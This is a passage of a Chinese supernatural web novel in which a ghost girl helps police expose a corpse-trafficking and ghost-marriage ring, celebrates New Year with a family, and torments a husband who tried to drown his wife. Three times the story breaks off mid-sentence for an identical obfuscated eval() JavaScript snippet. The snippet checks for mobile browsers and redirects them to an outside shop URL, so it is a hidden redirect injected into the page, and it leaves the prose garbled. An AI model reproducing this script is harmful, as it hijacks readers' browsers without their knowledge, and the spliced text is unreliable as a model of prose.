“你不恨吗?”薛宓不理解地看着她灵魂的颜色。都这么悲惨了,她的灵魂竟然还是透明色的……一点点都没有往厉鬼方面发展的趋势。 “不想报仇吗?家暴你的丈夫和婆婆,把你卖了两次的娘家人……” “报仇,我能怎么报仇……我都已经死了啊……” “你就是这么软弱,才会被他们拿捏到死。”薛宓坐在红棺上,无趣地伸了伸腿,“换成别人,早就化成厉鬼索命了。” 这般相似的经历,让她忽然想起自己第一个主动吞噬的女鬼…… 那是很多年前的事了。一个被高中状元的丈夫杀害的可怜女子,腹中还怀着孩子。 丈夫为了攀附丞相千金,用一根绳子了结了发妻的性命。后来那女鬼化作厉鬼索命,那状元郎吓得魂飞魄散,当即花重金请薛家大师镇压。 她还记得,阿宁当时觉得女鬼可怜,不忍下手…… “咚!” 隔壁棺材突然传来一声闷响,打断了薛宓的回忆。 “救命!放我出去!” 女子的哭喊伴随着剧烈的拍打声,在停尸间回荡。薛宓见状,迅速躲回了棺材。 果然下一秒,守门的壮汉骂骂咧咧地走过来,抡起撬棍“咣”地砸在女子的棺材上:“吵什么吵!再闹现在就弄死你!” 张春梅还以为是自己的货醒了,同样急着赶了过来。瞧见是另一口棺材,顿时松了一口气。 “一万块,不能再多了……” 跟随张春梅进来的是殡仪馆的老板钱楚生。 方才,他们刚提到伪造死亡证明的费用,如今听张春梅这么砍价,钱楚生冷笑道:“张姐,这可不是挖坟盗尸,是活人。齐姐每次都是五万,你看这个,就是她刚送来的。活的,要我弄死的,一律五万起。” 赵楚生口中的齐姐就是张春梅的死对头齐万妗,没想到她竟又骗到了一个智障女孩! 她咬了咬牙,道:“五万就五万!19点有老板来验货,验完就拉走,必须给我加急处理!” 赵春梅说着打开棺材,却见小姑娘突然睁开了眼睛。 “赵春梅。” 冰冷的童声在停尸间回荡,那双眼睛竟诡异地变成了红色。张春梅猛地一慌,竟本能地伸手,捂住薛宓的口鼻。可下一秒…… “砰!”一声震耳欲聋的枪响骤然响起。 “警察!不许动!” “手举起来!” 张春梅双腿一软,直接瘫坐在地。 完了。 这个念头刚闪过,她就被第一个冲进来的警察一个箭步按倒在地。 “张春梅,你被捕了。” 在贺黎筠身后,楚子琦同样控制住了赵楚生。另一边,确认薛宓安全无误后,槿菁红着眼眶,带着医护人员冲向那口还在微微震动的棺材,将里面气息奄奄的少女抱了出来。 “没事了……没事了……” 在被按倒在地的瞬间,张春梅就吓晕了过去。 再睁眼时,她发现自己躺在一口红色的棺材里。 25.鬼村 冰冷的触感贴着后背,张春梅颤抖着低头,只见自己胸前竟贴着标签:【48岁,新鲜,15万起拍】。 棺材盖半开着,外面围着一圈模糊的黑影,正对着她指指点点…… “年纪太大,折价两万!” “没文化,再扣一万!” “十五万太贵了,还是农村户口……” 这时,儿子挤进人群,搓着手对买家赔笑:“我妈虽然年纪大,但身子骨硬朗!最后一口价十二万,有没有人要!” 他说着,转头对着她抱怨道:“你怎么现在才死!早点死的话,我就能多赚点钱娶城里媳妇了!” “是啊是啊,把你卖了,咱家才能盖新房啊!”他丈夫也凑过来补充。 张春梅惊恐地想要尖叫,喉咙却像被无数双鬼手掐住,发不出半点声音。 就像那些被她卖掉的女孩一样。 薛宓冷眼看着张春梅的幻境。 张春梅身上的恶念很特殊。 不是血腥的杀戮,而是贪婪、麻木与自我欺骗的混合物。 多年来,她自认配冥婚是“积阴德”,所以周身缠绕着浑浊的暗黄色雾气。而就在她动了杀机捂住她口鼻的那一刻,才彻底扭曲成肮脏的漆黑。 幻境中,张春梅被一个老头买下,被抬去坟地合葬。 棺材颠簸行进,她终于挣破棺盖,却在爬出来的瞬间被无数枯骨抓住。 每经过一座坟,就有一具男尸爬出。 腐烂的新郎们扯着她的头发、胳膊、腿脚,空洞的眼窝里爬出蛆虫:“张媒婆……给我们……找媳妇……找不到,就由你来代替……” “你不是最爱做媒吗?这些,可都是你的‘客户’。” “好好享受吧……这是你亲手种下的恶果。” “张春梅!张春梅!” 见张春梅翻着白眼、浑身抽搐地倒在地上,现场的医护人员立刻为她进行急救,却发现她的血压低得惊人。 贺黎筠顿时皱着眉看向薛宓。薛宓正装作指证坏人般走到钱楚生身边,见他望来,有些无辜地摊了摊手。 她的幻境全来自于他们本身的恶念,她只是帮它们具现化而已。 就在医护人员准备送张春梅去医院时,这老妇突然浑身一颤,猛地睁开了眼睛,瞳孔涣散地尖叫:“鬼……有鬼!” 又不会又一个想要装精神病的吧。 但下一秒,楚子琦就见被自己押着上警车的钱楚生也变得不正常了起来,竟也翻着白眼晕了过去。 “薛宓,你没事吧?”槿菁担忧地蹲到薛宓面前。 薛宓摇了摇头,反手指向身后那具盖着白布的女尸:“刚才我偷听到他们对话。这位姐姐叫宋方瑜,是被婆家家暴打死的,她娘家人不但签了谅解书,还八万就卖掉了她的尸体……她好可怜,可不可以不要把她的尸体还给她的家人……” 薛宓的鞋尖藏着针孔摄像头,照理说张春梅和钱楚生的对话,他们同样能听到。但刚才,设备突然爆出刺耳杂音,画面也变得全黑。担心出事,他们不顾计划直接冲了进来。 果然差一点就出事了…… 槿菁眼眶发红,斩钉截铁道:“即使尸体是亲属的,擅自买卖也构成犯罪。我们不会归还,还会追就他们刑事责任!” 半透明的女鬼在旁蜷缩着啜泣:“求求你们……把我的骨灰撒进大海吧……” “要是随便埋了……还会被挖出来卖的……” 薛宓转述请求后,槿菁为难道:“我们也没有资格随意处理他人的尸体。” 法医正在给女尸拍照取证,闪光灯一次次照亮宋方瑜青紫的伤痕。就见贺黎筠走了过来:“我会申请的,放心吧。” 女鬼的魂魄突然泛起微光。她朝着众人连连鞠躬,泪珠化为薄雾飘散:“谢谢……真的谢谢……” 那声音轻得几乎听不见,却似乎让停尸房的寒意褪去了几分。 望着女鬼的身影渐渐淡去,最终化作一缕轻烟消失在原地,薛宓淡淡道:“真是可惜,宋方瑜竟没变成厉鬼……否则我也能帮她一把,教育下把她害得那么惨的那群人。” “她就在这里?”贺黎筠皱眉。 “嗯,刚死不久,魂魄还在尸体附近。是她说,想被撒入大海。” 贺黎筠叹了口气:“那就让她安息吧,别做多余的事。” “多余?”薛宓冷笑,“她说因为自首和谅解书,害死她的丈夫和婆婆最多只判两三年……一条人命,竟然就值两三年?在我们那时,都是一命抵一命的。” 经过这几个案件,贺黎筠已经不止一次地察觉,薛宓虽然嘴上说着吞噬恶念恢复力量,但其实,还挺嫉恶如仇的。 “虽然不在管辖范围,但宋方瑜的尸体是我们发现的,我们也会一同跟进这个案子。不会只有两三年的。”他保证道。 当夜,平安殡仪馆,被成功地一锅端了。 除了这个停尸房外,他们还在冷柜中发现十七袋来历不明的骨灰,还有账本里密密麻麻记载的近千次交易记录,时间跨度长达十年。 人证物证俱在。 贺黎筠三人立即联系西津县警方,要求以殡仪馆为突破口,彻查整个盗尸、贩尸、配冥婚的黑色产业链。 而孙鹤明妻子和母亲的尸体去向,也顺藤摸瓜地找到了。 妻子被火化后,篡改了死亡证明,以二十五万的价格卖给张青花,配给其三年前亡故的儿子。母亲的骨灰则以二十万卖给了一位八十多岁的老汉,也是给他四十多岁的儿子结阴亲。 警方找上门时,两人都承认自己确实从张春梅那里买了女性骨灰,但都拒不承认被骗。 即便警方出示证据证实他们买来的骨灰是钱楚生一伙去外地盗来的尸体,他们也不同意警方将骨灰挖掘带走。 在警方强势要开棺时,张青花死死抱着新立的墓碑,干裂的嘴唇颤抖着:“这是我明媒正娶的媳妇!你们带走她,我儿子在下面要打光棍的!” 不远处,八十多岁的老汉直接躺倒在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617713|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坟头打滚:“二十万啊……你们要开棺,就给我二十万!否则家宅要不安宁了!” 甚至后面,警方准备彻查村中坟地时,整个村子的老人都举着锄头铁锹围了上来。 “老祖宗传下来的规矩!咋就犯法了?” “给死人配婚天经地义!你们城里人懂个屁!” “动了冥婚要遭报应的!” “你们今天敢动坟,就先从我们身上踏过去!” 夜色中,那些愤怒的脸被手电筒照得忽明忽暗,仿佛一群守着腐肉的鬣狗。 案件就这么陷入了僵局。 打击冥婚产业,肯定不能只从卖家入手。有买家,才会有卖家。可他们能将盗尸贩尸的黑产业一锅端,却拿这些村民无可奈何。 法律无法审判愚昧。最终,西津县警方只能灰头土脸地撤离。 夜色渐深,终于击退警方的村民们攥着农具回家,嘴里却骂骂咧咧。 “呸!官老爷们还不是怂了!” “攒了半辈子的钱买来的媳妇,凭什么让他们挖走?” “就是!挖坟又不赔钱,天底下哪有这种道理!” 他们义愤填膺地睡去,然而夜半时分,却被一阵诡异的声音惊醒。 “咚!咚!咚!” 门板被砸得剧烈震动,仿佛有无数双手在疯狂拍打。 有人壮着胆子推开窗,就见月光下,无数染血的身影正从坟地方向爬来。 穿着嫁衣的女鬼们拖着残缺的肢体,在土路上留下蜿蜒血痕。她们脖颈扭曲,长发披散,腐烂的嘴唇开合着,发出非人的哀嚎。 “还我……尸骨……” “是你们害死了我!我要杀你们!” “呜呜呜……我要回家……妈妈……我要回家……” 更恐怖的是,那些早夭的儿子们,竟也从祖坟里爬了出来! 青紫的脸上挂着血泪,指甲缝里塞满坟土,跌跌撞撞扑向自家院门。 “娘……下面好冷啊……” “你买的媳妇……天天用棺材钉扎我的眼睛……” “她说是你们……害她不得超生……” 黎明前,村民们不约而同地惊醒,浑身冷汗。 他们不仅做了同一个噩梦,醒来后还都清晰地记得梦里的那个声音。 “你们可知,为什么村里的年轻人一个接一个地早逝?因为这些来路不明的尸体,每一具都带着未消的怨气。你们用冥婚强留她们,她们就用怨气蚕食你们的子孙,直到整个村子被拖进坟墓……” “现在,你们还要留着她们吗?” “是……是报应……”老村长颤抖着跪倒在地,“快……快开棺……联系警察同志!” 西津县警方赶到时,就见昨天拒不配合、凶神恶煞的村民们竟主动拖着铁锹,挖开了那些坟墓。 他们脸色惨白,求着他们赶紧把这些尸体和骨灰全部带走,仿佛身后有什么在逼着他们这么做。 西津县警方:“?” 26.过年 薛宓又梦见了那个夜晚。 月光惨白,照在满地的尸骸上。血浸透了泥土,像一条蜿蜒的暗河,缓缓流淌至她脚下。 ——只因为有个姑娘生得漂亮,而他们求欢被拒,便带着家丁屠了整个村子。 男人、女人、老人、孩子……无一幸免。 那些死不瞑目的亡魂在怨气中扭曲,化作嘶吼的厉鬼,盘踞不散。 于是,薛宁被派来了。 “除掉他们。”师父的命令冰冷无情。 可薛宁又一次违抗了。 她苦着脸和她诉苦:“我们明明该除恶的,怎么如今总帮着坏人……” 但薛宁不知道,最坏的那个人,就是她的师父。 温热的血溅在她的身上,那些血珠没有滑落,反而被贪婪地吸收进去。 她颤抖地十分剧烈,想要抗拒却无法抵挡住本能。 ——她渴求着更多的血气。 “阿宁……别死……求你……” 吸饱鲜血的噬魂器剧烈震颤,无数被吞噬过的怨魂破器而出!它们撕咬着在场每一个活人,而她,新生的手指不受控制地掐住那个人的喉咙。 “薛宓,薛宓!” 熟悉的声音穿透混沌,将薛宓从深沉的黑暗中拽了回来。 她猛地睁开眼睛,瞳孔中还残留着未褪去的血色。 ——她吞噬了整个福寿村的怨气。 那些被买卖的尸体、被践踏的亡魂、被扭曲的人生……所有的仇恨与痛苦,都在她的操纵下具现化,化作一夜的恐怖幻境,狠狠报复了那些愚昧而贪婪的村民。 但这份怨恨太过庞大。 以她现在的能力,仅仅吞噬已是极限,还远不能完全消化、化为己用。 更糟的是,她透支了! 薛宓瘫在床上,连指尖都懒得动一下。贺黎筠的呼唤声像是隔着一层水传来,她根本懒得搭理,直到她听到:“薛宓,你在流血……” “血……?”她迟钝地地头,就见自己躺着的床单上,不知何时浸开了一片暗红。 因为是红裙子,直到染透床单才被发现。 “可我明明没受伤……”她茫然摸了摸裙子,臀部的位置一片黏腻,“难道是怨气反噬?” 贺黎筠的表情顿时变得古怪:“你该不会是……来月经了吧?” 薛宓:“?” 她歪着头,满脸困惑地眨了眨眼,显然对这个词毫无概念。 贺黎筠深吸一口气,转身就走:“我去找槿菁。” 面对懵懂的四年级小姑娘,槿菁立刻进入大姐姐教学模式,把月经知识和卫生巾的使用方法都科普了一遍。 薛宓茫然地照做,手指笨拙地按压着卫生巾边缘。 ——可她根本不是人类啊。 她只是拟态了人类的外形,为什么连这种每月周期性出血的生理特征,都原封不动地复制了…… 那岂不是,她每月也要有为期七天的虚弱期!? 好在,薛宓的出血只持续了一天便诡异地停止了。她思来想去,觉得这次出血应该就是怨气反噬造成的内伤吧。 此后一个月,西津县进行了一次大清扫活动,严厉打击盗尸、贩尸行为。一个个参与盗尸、贩尸、杀人的罪犯接连落网。 此案算暂时告一段落。但未来是否还有其他人铤而走险,就不得而知了。 毕竟有交易,就一定会滋生犯罪。 所谓的传统一日不改,犯罪就永远不会停息。 贺黎筠一行四人返回青江市时,正值春节前夕,整座城市已浸泡在浓稠的年味里。 街道两旁挂满了红灯笼,商铺门口贴着崭新的对联,小贩的吆喝声与孩童的嬉笑混在一起,空气里飘着糖炒栗子和腊肉的香气。 薛宓趴在车窗上,深棕色的眼眸映着街边晃动的红灯笼。那些晃动的光影像极了她在幻境里操纵的怨火,却莫名透着暖意。 “那是年货摊。”贺黎筠指着路边热闹的摊位,“要下去看看么?” “嗯!”一停下车,小姑娘已经蹿出了车门。 没一会儿功夫,贺黎筠就见薛宓抱着战利品凯旋:左手攥着糖葫芦,右手提着芝麻糖,嘴里还叼着根彩色的棉花糖,活像只囤年货的小松鼠。 临走前,楚子琦和槿菁都笑嘻嘻地各塞给薛宓一个红包。 薛宓打开一看,每个红包竟都躺着两张崭新的百元大钞! 她完全不明白他们为什么要给她钱,问了贺黎筠后才知道,这是压岁钱。原来过年期间,大人要给人类幼崽红包,寓意平安吉祥。 果然,一到贺黎筠老家,崔芳华也笑着递过来一个厚厚的红包。 足足有一千块! 她眼睛一亮,立刻转向贺黎筠,小手一伸。 “……” 贺黎筠面不改色:“小孩子身上带这么多现金不安全,我帮你存银行。我小时候,我妈也是这么帮我保管压岁钱的。” 说着,修长的手指一勾,三个红包瞬间易主。 没反应过来,红包就被抢走的薛宓:“???” 薛宓气得炸毛,转身就向崔芳华告状。 崔芳华听了,先是一愣,随即有点不好意思地笑了:“这个……小筠小时候,我确实是这么做的……不过小筠上高中后,我就把银行卡给他了,可没私吞哦!” 贺黎筠点头,一脸理所当然:“所以,我也帮你保管到高中。” 薛宓:“……” 贺黎筠一家的过年十分朴素。 贺黎筠的爷爷奶奶因为儿子早逝,几年前已郁郁而终。所以,圆桌上只摆了五副碗筷——贺黎筠、崔芳华、外公外婆,还有薛宓。 老两口是第一次见到这个养外孙女,在薛宓甜甜地喊了声“外公外婆”后,也笑开了花,慈祥地递出了两个厚厚的红包。 这次薛宓学聪明了! 小手飞快地把红包塞进裙子内侧的暗袋里,塞完还不忘警惕地瞟了贺黎筠一眼。 薛宓其实不是第一次“经历”过年。 在她产生自我意识后,只有阿宁能听见她的声音。那个小女孩,总会偷偷把年夜饭里里好吃的糕点和水果藏进袖子里,然后溜到祠堂,对着空气小声说:“新春快乐。” 虽然薛宓尝不到味道,虽然阿宁根本看不见她,但供桌上摇曳的烛光,会把那点心的影子投在墙上,像极了她幻想中自己应有的模样。 而现在,糖醋鱼的酸甜、红烧肉的酱香、八宝饭的糯甜……这些真实而温暖的气息,正热腾腾地萦绕在鼻尖。 “宓宓怎么不吃呀?”见薛宓迟迟不动筷子,外婆顿时着急起来,“多吃点才能长高个儿啊!是不是菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626185|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不合胃口?我就说该烧点鸡翅,小孩子都爱吃那个……” “不是不是……是……太多了,不知道该先吃什么……” 外婆愣了一下,随即想到薛宓的经历,眼眶微红:“傻孩子,咱们家吃饭哪有什么规矩。你想吃什么就夹什么。吃不完也没关系。” “那就先尝尝外公烧的红烧肉吧!”似乎完全没察觉场上的气氛,外公在旁得意地插话,用筷子指点着桌上的菜,“这些是我烧的,这些是你外婆烧的。不是我自夸啊,我烧的菜可比你外婆烧的好吃多了。” “胡说八道。”外婆立刻反驳,没好气地白了他一眼,“你现在烧菜油得要命,盐也放得多,医生都说要少油少盐了,还在这儿显摆。” 外公不服气地哼了一声:“宓宓你评评理,这红烧肉到底好不好吃?” 被点到名字的薛宓,在众人的目光下连忙夹起一块红烧肉,轻轻咬了一小口。 酥烂的肉质在齿间瞬间化开,浓郁的酱香伴着微微的甜意在舌尖绽放。 她赶紧点头:“好吃!” “看吧!”外公得意地冲外婆扬了扬下巴,像个赢了比赛的孩子。 外婆又好气又好笑,往薛宓碗里夹了块自己做的清蒸鱼:“来,尝尝外婆的拿手菜,可比那油腻腻的红烧肉健康多了。” 转眼间,薛宓的碗就被堆成了一座小山:油亮的红烧肉、雪白的鱼肉、翠绿的菜心……崔芳华甚至仔细剥好了虾壳,粉白的虾肉整齐码在最顶端。 明明就是那些普通的家常菜,可偏偏薛宓总觉得哪里不一样…… 而就是这奇怪的不一样,这一晚,薛宓破天荒地吃了两碗米饭,把碗里堆成小山的菜消灭得干干净净。就连平时最挑食的青菜,也伴着鲜美的汤汁咽了下去。 饭桌上,外公正和崔芳华讨论着来年的菜园规划,外婆时不时插上几句。贺黎筠虽然话不多,但嘴角那抹压不下去的笑意,却泄露了他此刻非同寻常的心情。 而自己的影子……正稳稳地坐在他们中间。 那么自然,那么…… 温暖。 她突然想: 如果世界都是这般模样…… 或许,毁灭它也没什么意思。 时间就这样温馨而平淡地过去了四个月,直到五一假期结束前,贺黎筠在整理案件资料时,手机突然震动了起来。 家长群里弹出一条通知:【因李秋华老师身体原因,四年级二班班主任暂由吴瑞老师接任。请各位家长,添加一下新班主任的手机号和微信号。】 在添加完新班主任的微信号后,贺黎筠不知为何想起薛宓曾经说过不想换班主任的话。 她难得对一位老师表现出这样的在意,若是知道换班主任,定是要不开心了。 手指在屏幕上停顿了片刻,他还是斟酌着发出一条消息:【吴老师您好,请问李老师是怀孕了需要休养吗?后续还会回来带班吗?】 毕竟有些胎位不稳的孕妇,前三个月确实需要格外注意。 手机很快震动起来,但一连串回复的内容却让贺黎筠的眉头瞬间拧紧。 【不是的。李老师昨晚在漓江旅游时……失足坠了海。】 【虽然船员及时救起,但现在还在重症监护室……】 【医生说……不确定什么时候能醒过来。】 27.杀妻 一个刚结婚的妻子在蜜月旅行中突然遭遇意外,事故现场还偏偏是监控盲区,第一嫌疑人自然是她的丈夫——温世谦。 贺黎筠当即联系漓江警方。那边警方也是这么想的,但调查后发现,李秋华除了这次旅游购买的短期意外险外,名下没有任何其他保单。而这份意外险的保额仅有十万,温世谦自己也买了同款。 通常,骗保者会提前购买大量高额保险,但温世谦显然不符合这一特征。 那么,是出轨? 可他们才新婚不久,感情正是如胶似漆的时候……而且漓江警方说,李秋华失足坠海后,温世谦毫不犹豫地跟着跳了下去救人。要不是船员反应快,差点两个人都没能救上来。 贺黎筠揉了揉太阳穴,决定不再自己瞎猜。与其在这胡思乱想,不如直接带薛宓去看看情况。 出乎他意料的是,薛宓得知这件事后反应极大。她几乎是从沙发上弹了起来,一把拽住他的袖子,力道大得惊人。 “现在就去!立刻!马上!” 当天下午,两人搭乘最快的航班飞抵漓江。 他们到达医院时,李秋华刚从重症监护室里转出,只见温世谦正坐在病床边,动作轻柔地为昏迷的李秋华擦拭脸颊。 夕阳的余光落在他俊朗的侧脸上,衬得他像个温柔体贴的模范丈夫。 但薛宓却清晰无比地看到,这个看似无微不至的男人,周身却缠绕着浓稠如墨的黑雾。那些雾气扭曲着,翻涌着,隐约形成狰狞的鬼手,正死死掐住病床上李秋华的脖颈。 “他想杀她。”薛宓拽了拽贺黎筠的衣角,面无表情道,“现在就想。” 听到脚步声,温世谦似有所觉,转过头来。 瞧见一个陌生青年提着一盆果篮,带着一个小朋友朝着他的方向走来,他适时地露出一个悲伤表情:“您好,请问您们是来看秋华的吗?我是秋华的丈夫温世谦,现在秋华刚从重症监护室出来,还不方便见客。” “温先生您好,我们是从青江赶过来的。我妹妹是李老师班上的学生,特别喜欢李老师。今早听说老师出事,说什么都要来看看。”贺黎筠将果篮放在了床头柜上,目露歉意道,“我们就待一小会儿,不会打扰太久。” 在贺黎筠说话间,薛宓一直在观察温世谦身上翻涌的黑雾——在他们进来的瞬间,明显淡了几分。 可见,他并不敢当面杀人。 这个认知让薛宓紧绷的神经稍微放松了些。 她轻轻走到病床边,这才看清了李秋华的情况。 她苍白的脸庞被氧气面罩遮去了大半,只露出一双紧闭的眼睛。呼吸机有节奏地运作着,带动她的胸口微微起伏,那微弱的生命迹象仿佛随时都会停止。 眉头随之越簇越紧,她不禁小心翼翼地握住李秋华露在被子外的手,触手的冰凉却让她心头一颤,也让她清晰地感知到,这位温柔老师的生命力正如沙漏般,缓缓地流逝…… 她的班主任—— 那个会温柔摸她头发的李老师,那个总夸她聪明的李老师,那个结婚前开心地给全班发喜糖的傻瓜…… 现在,浑身正插满着管子,可能再也醒不过来了。 而罪魁祸首,却假惺惺地在旁边抹着眼泪。 “谢谢你们来看她。秋华知道有学生这么关心她,一定会很开心的。” 送走了一波客人,又送走了一而再、再而三来询问的警察,温世谦终于等到了自己和李秋华独处的时间。 此刻,双人间安静地只剩下心电监护仪发出的滴滴声。而他知道,护士刚查完房,下一次巡房还有很长一段时间……现在,这里就是与世隔绝的孤岛。 关上灯,平躺在自己的病床上,温世谦静静等待着医院熄灯时刻的到来。 如果这个时候,李秋华突然醒了呢? 这个念头像冰冷的蛇缠绕了上来——李秋华一旦苏醒,必然会指认他。她看见了自己推她的那只手,看清了自己在水下按住她头顶时的眼神。 她绝不能醒来。 时间一点一滴地流逝,却比想象中更加的难熬。 他也没想到,船员的反应会那么快;更没想到,她被捞上来时,竟然还有微弱的呼吸…… 反复的心理斗争后,温世谦痛苦地闭上眼。 他也不想走到这一步的。 一切始于比特币投资失败。起初只是个小窟窿,他挪用公款想着很快就能补上。可刚与李秋华领证不久,市场竟再次暴跌…… 窟窿越来越大,像一张贪婪的嘴,吞噬着他所有的理智。挪用的公款也像滚雪球一样,越滚越大。 他只能向李秋华求救。 他知道她是独生女,爷爷奶奶、外公外婆和父母名下含有她名字的房产加起来足足有五套!其中只有她名字的也有三套! 卖掉其中一套,三百万的窟窿就能填平。对她来说,这根本不算什么难事。 他放低姿态,甚至挤出几滴眼泪,说自己想辞职创业,希望她能卖掉一套房支持他的梦想。可她却拒绝了!态度坚决地说房子不能动,劝他安心工作。 那一刻,他几乎控制不住脸上的狰狞。 他觉得她连一套房子都不愿为他卖,根本不是真心爱他,他们爆发了有史以来最激烈的争吵。 但最后,他还是用老办法哄回了她——道歉、鲜花、烛光晚餐,还有那些他曾真心实意说过的情话。 “秋华,是我错了。下周是我们蜜月旅行……”他吻着她的发梢,声音温柔似水,“别再想那些不愉快的事了。” 哪怕提前准备了周密的计划,可真正实施的时候,他也有过无数次的犹豫。 “老公!快过来呀!” 李秋华的声音顺着海风飘来,她笑着招手,让他快点过来一同拍照。 她是真的爱笑。 批作业时看到有趣的答案会笑,看电视时会不自觉地笑出声,此刻站在船尾护栏边举着自拍杆还在笑。 是他提议晚上来拍夜景的。 他笑着走近,手心却在冒汗:“你这么拍太普通了,我们学泰坦尼克号吧?你站上去,我抱着你。”他指了指船舷边一个略高的平台。 “这……有点危险吧?”她有些犹豫。 “别怕,有我呢。我会牢牢抱住你的。” 当他的手环住她的腰时,李秋华顺势张开了双臂,像电影里的露丝。 她的身前是幽暗翻滚的海面,她却毫无惧色,甚至和电影里一样俏皮地转过头,笑着说:“现在该亲亲了。” “嗯,我爱你。” 亲吻的瞬间,他的手臂猛地发力。她惊愕地瞪大眼睛,身体不受控制地向后倒去…… “噗通”一声,坠入了海里。 他是爱她的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640018|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的。 爱她下课回家还给他煲汤的温柔,爱她时不时对他撒娇的可爱模样,但他更爱她……名下的那五套房产,即将一半属于他的份额。 李秋华是个旱鸭子。 他只需要晚几十秒呼救,她必死无疑。但偏偏那个时候,有船员听到声音赶来,他只能跟着跳了下去。 把挣扎着想要浮上水面的李秋华,再度用力地按了下去。 水泡从她口中绝望地涌出,她的身体不受控制地往海底沉去…… 他是确认她失去意识后,才任由自己“虚弱”地浮上水面,抓住了船员递来的救生圈……甚至被救上船后,还不忘声嘶力竭地嚎啕大哭,求求船员们快下去救她。 可她……竟还没死透…… 怎么就没死呢!? 温世谦猛地睁开眼。 大概是这两日太累了,他发现自己不知何时睡着了过去…… 病房里只余下心电监护仪的声音,伸手不见五指的黑暗笼罩着一切。走廊上虽然亮着微弱的应急灯,却也安静得听不到任何声音。 他的心跳声,也仿佛在这一刻变得清晰可闻。 竟然十一点了…… 他立刻下床,来到李秋华床边。 不能再等了。 将李秋华指尖上的监测夹,夹在了自己手上。 望着床上那张在呼吸面罩下毫无血色的脸,他几乎是瞬间伸手,将呼吸面罩掀开了一道缝隙。 李秋华毫无知觉。 她的睫毛没有颤动,指尖没有抽搐,连最本能的求生反应都没有出现。 她会在昏睡中,静静地、无痛苦地死去…… 到时候他再假装刚发现异常,惊慌失措地呼叫医生…… 多么完美的意外。 呼吸不自觉地屏住,直到“咔哒”一声。 病房门锁突然发出一声轻微的、但在寂静中格外清晰的弹响! 护士不是十二点才查房吗!? 温世谦魂飞魄散,手像被烫到一样缩回,胡乱地将面罩和监测夹归位,顺势扯了扯被角,伪装成一副照顾妻子的模样。 他转过身,心脏狂跳,正准备用疲惫掩饰惊慌,却发现门口站着的,并非护士,而是下午那个有过一面之缘、异常腼腆的小女孩。 皱眉看着这个不请自来的孩子,温世谦强压着不悦问道:“小朋友,这么晚了你怎么一个人在这儿?你哥……” 声音戛然而止。 温世谦瞳孔骤缩,震惊地望着,刚才还不到他腰际的小女孩,竟在他眼前以一种违背常理的方式抽长了身子……转眼间,化作了一位约莫十六七岁的少女。 稚嫩的娃娃脸褪去,显露出精致却冰冷的轮廓。而最令人毛骨悚然的,是那双眼睛——深棕已被彻底吞噬,只剩下纯粹得没有一丝杂质的血红。 “你差点杀了她。” “你,该死!” 话音未落,一股无法抗拒的力量扼住了他的喉咙,将他狠狠掼在墙上。 他双脚离地,徒劳地挣扎,但那只手的力道却大得不可思议。 视野因缺氧开始模糊、扭曲…… “救……” 他张着嘴,却只能挤出濒死的抽气声。 下一秒—— 轰!!! 咸腥冰冷的海水猛地灌入了鼻腔…… 28.暴走 冰凉的海水瞬间淹没头顶,肺里的空气被疯狂挤压。温世谦挣扎着浮出水面,本能地张嘴想要呼吸。 “救——!” 可求生的呼喊还未出口,一双冰冷的手就死死按住了他的头顶。 那力道大得惊人,指甲几乎要嵌入他的头皮,毫不留情地将他按向更深的黑暗。 “唔……!” 不——! 水泡从口中绝望地涌出,耳膜因水压而剧痛。就在温世谦觉得自己即将溺死的时候,海水里传来冰冷的声音: “这样就死了,真的太便宜你了。” 窒息的那一刻,世界骤然扭曲。 温世谦猛地睁开眼,发现自己又回到了游船栏杆边。夜风拂面,海水拍打船身的声音清晰可闻。还没等他反应过来,背后突然传来一股巨力! “噗通!” 熟悉的坠落感,熟悉的窒息感。他疯狂划水,拼命挣扎,可每一次浮出水面,都会看见“自己”狰狞地伸出手,然后,再一次将他按进了水里。 第十次溺水后,温世谦已经精神崩溃。 这个曾经水性极佳的男人,现在却像是恐水的雏鸟根本不敢靠近栏杆边,反而涕泪横流地瘫在甲板上,疯狂磕头道:“我错了!我真的知道错了!饶了我……求求你饶了我!” 然而“自己”却仍然一步步逼近。 “你错了什么?” 温世谦的喉咙里挤出破碎的哭嚎:“是我……是我把李秋华从甲板上推了下去……是我在水里按着她的头……是我要杀她……” 现实中,温世谦已经爬到窗边。 他的手指死死抠着窗框,眼神涣散,嘴里不停地重复着:“别推我……别推我……” 就在他即将翻出窗户的瞬间,一股大力猛地将他拽了回来! “温世谦!温世谦!” 贺黎筠一把扣住他的肩膀,可温世谦却像触电般疯狂挣扎,双腿踢蹬着,仿佛仍在水中求生。 “放开我!放开我!” 